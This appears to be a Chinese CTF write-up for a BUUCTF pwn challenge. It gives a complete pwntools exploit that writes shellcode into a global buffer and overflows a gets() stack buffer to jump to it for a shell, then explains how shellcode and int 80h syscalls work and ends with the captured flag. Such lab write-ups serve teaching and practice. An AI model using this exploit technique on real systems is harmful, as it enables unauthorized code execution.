查看保护
什么都没保护.jpg
IDA
逻辑很简单,两次输入。这两次输入看起来都可以利用:
read限制了读取长度,而且name是全局变量,地址可访问。
gets里的text可以进行栈溢出,0x20
解题思路
EXP
from pwn import *
p=remote('node3.buuoj.cn',29048)
context.arch = 'amd64' # 架构名称,不加狂报错……
context.log_level = 'debug' # debug模式
shellcode = asm(shellcraft.amd64.sh())
#asm将接受到的字符串转变为汇编码的机器代码,
#而shellcraft可以生成asm下的shellcode
p.recvuntil("tell me your name")
p.sendline(shellcode)
p.recvuntil("What do you want to say to me?")
payload = b'A'* 0x20 + b'A'* 8 + p64(0x601080)
p.sendline(payload)
p.interactive()
## shellcode原理(初步认识)
什么是shellcode:
每条汇编指令都对应着长短不一的一串16进制数
这些16进制数串叫做opcode,是和汇编指令存在对应关系的机器码。
或者说可以认为汇编指令是opcode的“别名”。
易于人类阅读的汇编语言指令,如xor ecx, ecx等,
实际上就是被汇编器根据opcode与汇编指令的替换规则替换成16进制数串,
再与其他数据经过组合处理,
最后变成01字符串被CPU识别并执行的。
所以我们可以直接构造合法的16进制串组成的opcode串,即shellcode,
使系统得以识别并执行(让CPU执行的shellcode机器码),
完成我们想要的功能。
shellcode为什么能实现"system("/bin/sh")的效果?
根据别人的实验,一个简单的shellcode运行过程大致如下(不严谨):
EAX, EBX, ECX, EDX四个寄存器被先后清零,
EAX被赋值为0Xb,
ECX入栈,
“/bin//sh”字符串入栈,
并将其首地址赋给了EBX,
最后执行完int 80h
这其中实现了“system("/bin/sh")”的效果的地方就是 int 80:
查阅intel开发者手册可以知道int指令的功能是调用系统中断,
所以int 80h就是调用128号中断。
在32位的linux系统中,
⭐该中断被用于呼叫系统调用程序system_call().
出于对硬件和操作系统内核的保护,应用程序的代码一般在保护模式下运行。在这个模式下我们使用的程序和写的代码是没办法访问内核空间的。
但是我们显然可以通过调用read(), write()之类的函数从键盘读取输入,把输出保存在硬盘里的文件中。
那么read(), write()之类的函数是怎么突破保护模式的管制,成功访问到本该由内核管理的这些硬件呢?
答案就在于int 80h这个中断调用。不同的内核态操作通过给寄存器设置不同的值,再调用同样的 指令int 80h,就可以通知内核完成不同的功能。
而read(), write(), system()之类的需要内核“帮忙”的函数,就是围绕这条指令加上一些额外参数处理,异常处理等代码封装而成的。32位linux系统的内核一共提供了0~337号共计338种系统调用用以实现不同的功能。
获取shellcode
1.直接获取
网络上有许多已经编写好的shellcode资源公开分享
诸如:
exploit database;
Shellcodes database for study cases(该平台目前已停止更新)
2.通过软件获取shellcode
eg:cobaltstrike(win)
msf(功能强大,以后研究)
pwntools(用其核心模块shellcraft生成shellcode)
# pwntools库获取shellcode标准写法:
from pwn import *
#设置目标机器信息
context(arch = 'amd64', os = 'linux',log_level = 'debug')
#asm将接受到的字符串转变为汇编码的机器代码,而shellcraft可以生成asm下的shellcode
shellcode=asm(shellcraft.amd64.linux.sh)
print(shellcode)
手动获取:
1.机器码写shellcode
2.汇编语言写shellcode
flag
flag{f24d7b9f-6efe-4a04-b3c2-ae33b799ea26}